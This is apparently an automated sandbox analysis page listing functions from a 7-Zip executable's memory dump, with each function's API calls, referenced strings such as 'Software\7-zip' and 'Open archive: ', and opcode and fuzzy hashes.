Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID: #
API String ID: 1294909896-1885708031
Opcode ID: b0f2d60c1820faef58548d21b8c4e06079b1368b0e0d09608c7fde7dbc05df21
Instruction ID: 41e8ffc83c7e19cef454089aa9b8378e62960dcb31c5d8099a2468a9dd64ccd1
Opcode Fuzzy Hash: b0f2d60c1820faef58548d21b8c4e06079b1368b0e0d09608c7fde7dbc05df21
Instruction Fuzzy Hash: F8318123608A9491C724DF15A94049EABA5FBE57E4F650236FF9E4B774DF38C886C700

Function 00113CBC Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00113E32), ref: 00113D18
GetLastError.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00113E32), ref: 00113D25
_CxxThrowException.MSVCRT ref: 00113D4E
WideCharToMultiByte.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00113E32), ref: 00113DC1
_CxxThrowException.MSVCRT ref: 00113DFA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ByteCharExceptionMultiThrowWide$ErrorLast
String ID:
API String ID: 2296236218-0
Opcode ID: a638d3b70a987569a11810fe08a21e1709710d38c6574b86da1fec5f089001b5
Instruction ID: 9016a35412cc7d8f7ee1c693f3fbee6be737830dfd0a1271cbdc6efbb7bdf4ec
Opcode Fuzzy Hash: a638d3b70a987569a11810fe08a21e1709710d38c6574b86da1fec5f089001b5
Instruction Fuzzy Hash: 0331F473708BC58ACB24CF25E48439EBBB5F784B94F948025DB9967724DB38C986C741

Function 00157080 Relevance: 7.6, APIs: 6, Instructions: 77COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001570EC
free.MSVCRT ref: 001570F4
free.MSVCRT ref: 00157101
free.MSVCRT ref: 0015712E
free.MSVCRT ref: 00157136
free.MSVCRT ref: 00157143

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction ID: c1f512f8c17e0df2768ac1e0bd79510fa3c87f5aad87ddf8559f40b0c973e0ac
Opcode Fuzzy Hash: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction Fuzzy Hash: 90212A67702A40C9CB29DF26E8913696360EB96FA9F294321DF3D1B7D8DF35C8468310

Function 00116778 Relevance: 7.6, APIs: 5, Instructions: 74filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 001167D5
CreateFileW.KERNEL32 ref: 00116831
free.MSVCRT ref: 0011683F
SetFileTime.KERNEL32 ref: 00116856
CloseHandle.KERNEL32 ref: 00116864

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: File$Create$CloseHandleTimefree
String ID:
API String ID: 234454789-0
Opcode ID: 2c2437ba34a7087855f8770e7a2108f964c72db211cbb1ecc9a6ff53a80baa42
Instruction ID: 1873b9235e501cb8835c8de4b21cd6a9ce89a4f00bfec4a5d2d15046e68e1765
Opcode Fuzzy Hash: 2c2437ba34a7087855f8770e7a2108f964c72db211cbb1ecc9a6ff53a80baa42
Instruction Fuzzy Hash: 8C21C632204A8086D624DF26FD94B9A6A21F3957F8F544335EE75477E8CB39C9CAD700

Function 00138290 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0011B544: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,Path64,001382CA), ref: 0011B56F

Part of subcall function 0011B45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 0011B4AA
Part of subcall function 0011B45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 0011B4F8

free.MSVCRT ref: 00138343

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

Part of subcall function 00118624: free.MSVCRT ref: 001186A9

free.MSVCRT ref: 0013832B
free.MSVCRT ref: 00138336

Strings

7z.dll, xrefs: 00138307
Software\7-zip, xrefs: 001382B7

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$QueryValue$Openmemmove
String ID: 7z.dll$Software\7-zip
API String ID: 2771487249-1558686312
Opcode ID: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
Instruction ID: 49606305964ad25ee7ec850985265a100498b69b94ae102806fda73b520a051b
Opcode Fuzzy Hash: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
Instruction Fuzzy Hash: BE118A61348A4050CA24EB11E9513DE6721EBE6BE4F845331FD6E57B66DF38C68AC700

Function 0015225C Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00152281
fputs.MSVCRT ref: 001522B7
free.MSVCRT ref: 001522C3
fputs.MSVCRT ref: 001522D9
fputs.MSVCRT ref: 00152303

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free
String ID:
API String ID: 3873070119-0
Opcode ID: 689b2ef2104b8583ad3e374e0ff24f5fd2d7cb2a6ea87d3443a7ff945e4a4c65
Instruction ID: d7554c155b8eb2873425ad592334448acc623193dd42e7d1bfd4d26601f54076
Opcode Fuzzy Hash: 689b2ef2104b8583ad3e374e0ff24f5fd2d7cb2a6ea87d3443a7ff945e4a4c65
Instruction Fuzzy Hash: 87112E7721494592DB20DF25E9403AA6330F799BA5F444231EFAE47AA4DF68C955C700

Function 00116C84 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32 ref: 00116CA8
GetLastError.KERNEL32 ref: 00116CB6
CreateDirectoryW.KERNEL32 ref: 00116CF1
free.MSVCRT ref: 00116D01
free.MSVCRT ref: 00116D0F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CreateDirectoryfree$ErrorLast
String ID:
API String ID: 3252411863-0
Opcode ID: fc7c84208e05cc916470f72eeea78ecee52ed3ec44cc2f5207f8f15f03265912
Instruction ID: a9c5b9758ecf18723c8aaf340abfca6e468a198456c4f84de4563894d5d29791
Opcode Fuzzy Hash: fc7c84208e05cc916470f72eeea78ecee52ed3ec44cc2f5207f8f15f03265912
Instruction Fuzzy Hash: 9801A726304A00C1DA38EB61EA843FD57219BD67F0F584330DAAD877A5DF29C9C68701

Function 0014056F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00140574
free.MSVCRT ref: 00140598
free.MSVCRT ref: 001405A1
free.MSVCRT ref: 001405AA
free.MSVCRT ref: 001405B5
free.MSVCRT ref: 00142D73

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4cc3be562f800f66c890074482ac147a4380dffb5d2304e0dd1a317519950c51
Instruction ID: 1d038beffc40e43388ad4b86e2824751eb9b6407bfe3193e203c9e64ad26fede
Opcode Fuzzy Hash: 4cc3be562f800f66c890074482ac147a4380dffb5d2304e0dd1a317519950c51
Instruction Fuzzy Hash: ADF0176224650442CA1AFA22E4612AA5310AB9BF91F091572DB0E17321CF38C497C304

Function 0011EC90 Relevance: 7.5, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011EC9D
free.MSVCRT ref: 0011ECA6
free.MSVCRT ref: 0011ECAF
free.MSVCRT ref: 0011ECB8
free.MSVCRT ref: 0011ECC1
free.MSVCRT ref: 0011ECCA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 76439c2ae6d2279247935120ce8afe15d695928ca0b2e8dcd2c70b0a6abef4e1
Instruction ID: 8b826e156fef0fe0aaeb2730abf3600b7fcb6c0c1920ab60f9b99122735071dd
Opcode Fuzzy Hash: 76439c2ae6d2279247935120ce8afe15d695928ca0b2e8dcd2c70b0a6abef4e1
Instruction Fuzzy Hash: FFE0F56261040491CB18FF76DCA20AC2324EBE7F887181271DF2E8B325CF30C8E28384

Function 001524B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001525EC
fputs.MSVCRT ref: 00152636

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Strings

Name, xrefs: 00152612
Size, xrefs: 001525A3

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: Name$Size
API String ID: 2276422817-481755742
Opcode ID: 88c80eeaa9b14fedc55482967235be8f5d37a87fac4782eb4143f45c95df4591
Instruction ID: ac3829ceaff61bce2064aaa8d15ec0810c08a41f6b02c91f98e6ee6d072f5f92
Opcode Fuzzy Hash: 88c80eeaa9b14fedc55482967235be8f5d37a87fac4782eb4143f45c95df4591
Instruction Fuzzy Hash: 3C41C473224A84E2DB2ADF34E4547DE2360F755B59F885122EF7E46255EF78CA8AC300

Function 0015BD5C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015BDCD
fputs.MSVCRT ref: 0015BE0B

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Strings

Removing, xrefs: 0015BDDB, 0015BEA5
: Removing files after including to archive, xrefs: 0015BDC6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: : Removing files after including to archive$Removing
API String ID: 3543874852-1218467041
Opcode ID: 35889d15da0440bc8b65f489fa0c5df01c345507fef3a03229262cdd598ad02f
Instruction ID: d3fb3a2b08dd6b32fba5737e0eca0156a82c12d63809bc7a166f5d3a3edf8929
Opcode Fuzzy Hash: 35889d15da0440bc8b65f489fa0c5df01c345507fef3a03229262cdd598ad02f
Instruction Fuzzy Hash: D8314F72204A85D2DA68DB25E8853EEA360E750749F488432DBAF4A1A5DF7CD5CEC300

Function 0015C47C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015C4FD
fputs.MSVCRT ref: 0015C50D
free.MSVCRT ref: 0015C553

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Strings

: , xrefs: 0015C506

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: :
API String ID: 2276422817-3653984579
Opcode ID: e9bcf27acdf7ac2d6e3f3cae4111de8fb74b4034055df34e1a2709ccc6db0766
Instruction ID: f708459c64da011f9c07e0232f4476eac91e516b36ae21b66164d0849ef568d0
Opcode Fuzzy Hash: e9bcf27acdf7ac2d6e3f3cae4111de8fb74b4034055df34e1a2709ccc6db0766
Instruction Fuzzy Hash: 8E114262350A4191DA2CEF25D8513ED6320FB99BE5F484231EE3E47795DF38D4A9C384

Function 0015B864 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015B8EB
free.MSVCRT ref: 0015B90A

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Strings

WARNING: , xrefs: 0015B8D3
ERROR: , xrefs: 0015B8DA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: ERROR: $WARNING:
API String ID: 2276422817-2114518728
Opcode ID: ecca43dc8351b2c902a0e5034670fe1dd14c0eeed9385964c550ca002694eadf
Instruction ID: 2ade7cae41d7c81996c3c3bc89dfd5d66af8dab8016b465bce92b0a43cce6153
Opcode Fuzzy Hash: ecca43dc8351b2c902a0e5034670fe1dd14c0eeed9385964c550ca002694eadf
Instruction Fuzzy Hash: 93115E22305A8081DA29EB22E8917EE6310B799BE5F484231EE7B0B391DF3CC4D9C304

Function 001510C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 001510EB
fputs.MSVCRT ref: 00151153
LeaveCriticalSection.KERNEL32 ref: 0015118D

Strings

ERROR: , xrefs: 0015114C

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CriticalSection$EnterLeavefputs
String ID: ERROR:
API String ID: 4171338575-977468659
Opcode ID: 51b65b70fd9636ec3d92d8d392cf87c406234df2004214009f2d2c7c063ef683
Instruction ID: c31090205832510725b265cde5ec48476e4b68f2cc8860eb6368b5c9752299c6
Opcode Fuzzy Hash: 51b65b70fd9636ec3d92d8d392cf87c406234df2004214009f2d2c7c063ef683
Instruction Fuzzy Hash: C7116072341D41D5DB1ADF35ED507E82321FB85B96F584235DE6E4B694CF388489C310

Function 0015BB9C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015BC6C
free.MSVCRT ref: 0015BC78

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Strings

Archive size: , xrefs: 0015BC29
Files read from disk, xrefs: 0015BBEE

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: Archive size: $Files read from disk
API String ID: 2276422817-3736835528
Opcode ID: 967efb6c8fd20dc29b92a159685723dba0981b3595675872516f3ccef425e8c4
Instruction ID: f03ae48bf8e184c88dfee988496fa8cc5e459fc4f16ad9593b8531a9aab5188e
Opcode Fuzzy Hash: 967efb6c8fd20dc29b92a159685723dba0981b3595675872516f3ccef425e8c4
Instruction Fuzzy Hash: 9111516220494590CF24EB64E8913DD6731FBD57A8F845232EA6E475B9DF38C6DAC700

Function 00112974 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON

Download Yara Rule

Strings

a, xrefs: 001129BA
z, xrefs: 001129C0

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID: a$z
API String ID: 0-4151050625
Opcode ID: 79b007a773469842fcff8db7cb0bfa3ab41b08846dae76e5ae68771568f84890
Instruction ID: 43ce956bde47c3228aa00a5a290ce95e4be2863e6f6826a89a62b641413a9ce4
Opcode Fuzzy Hash: 79b007a773469842fcff8db7cb0bfa3ab41b08846dae76e5ae68771568f84890
Instruction Fuzzy Hash: 99018156F0107DC5EB2C7B19A8547F8A6529715B9EF8E4133CE8907750D33989F2E301

Function 0011AD0C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0011AD1C
GetProcAddress.KERNEL32 ref: 0011AD37

Strings

ntdll.dll, xrefs: 0011AD15
RtlGetVersion, xrefs: 0011AD2D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 1646373207-1489217083
Opcode ID: 4b5a8e6a765e93aad0567a887158774fb9c1889fb27dd6c52aa472cf121c010a
Instruction ID: ec348ff57d9a32417f6559ce7b978abacc92cd77ed53ecec0c290b9989f895f2
Opcode Fuzzy Hash: 4b5a8e6a765e93aad0567a887158774fb9c1889fb27dd6c52aa472cf121c010a
Instruction Fuzzy Hash: 8BF0A475212D44C6DF38DBE0F8843E96760EB88366F840439E64A46A50DB38C9CDCA02

Function 0015BAAC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015BACF
fputs.MSVCRT ref: 0015BAFC

Part of subcall function 00112320: free.MSVCRT ref: 0011237E
Part of subcall function 00112320: fputs.MSVCRT ref: 001123B8
Part of subcall function 00112320: free.MSVCRT ref: 001123C4

Strings

StdOut, xrefs: 0015BAF2
Open archive: , xrefs: 0015BAC8

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free
String ID: Open archive: $StdOut
API String ID: 3873070119-2401103298
Opcode ID: 5c408db9bf12223247ae41b3a4b257e588f5b2f357ad56df3248e673553bd93f
Instruction ID: 6a47ec78b1350ef45d1c30f76ebdba7d69df1ff940021782ad92ecadc78f3d83
Opcode Fuzzy Hash: 5c408db9bf12223247ae41b3a4b257e588f5b2f357ad56df3248e673553bd93f
Instruction Fuzzy Hash: 54F03AA5314C84C1DE459F26DA853A95322BB98FD5F48D432DD1E4B218DF29C49EC300

Function 00152344 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00152375
fputs.MSVCRT ref: 00152383

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

Strings

, xrefs: 0015235E
:, xrefs: 00152359

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$fputc
String ID: $:
API String ID: 1185151155-4041779174
Opcode ID: 0876c551c5b7590e0ff57701a7544b73fa63f79d82255e9a5707c5629e0c0e90
Instruction ID: c995ea72024893f9f8ab9e40e3a55f870aa32fb6b1416c3974ab19320f7b61aa
Opcode Fuzzy Hash: 0876c551c5b7590e0ff57701a7544b73fa63f79d82255e9a5707c5629e0c0e90
Instruction Fuzzy Hash: 92E06DA6304A8481DB159B26E95439DA321FBA9FCDF488132EE8E0B719DF2CC149C711

Function 0015D4C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0015D4CB
GetProcAddress.KERNEL32 ref: 0015D4DB

Strings

kernel32.dll, xrefs: 0015D4C4
GetLargePageMinimum, xrefs: 0015D4D1

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetLargePageMinimum$kernel32.dll
API String ID: 1646373207-2515562745
Opcode ID: 9cafdcdec884bdbcba65c699ecbd7ef866ca1a9750535094873ebbbe4fc89029
Instruction ID: adbb5b476573fcfb4e3ec44e1d3c1fc1b953ad17d238e8f590cc7527d66676c8
Opcode Fuzzy Hash: 9cafdcdec884bdbcba65c699ecbd7ef866ca1a9750535094873ebbbe4fc89029
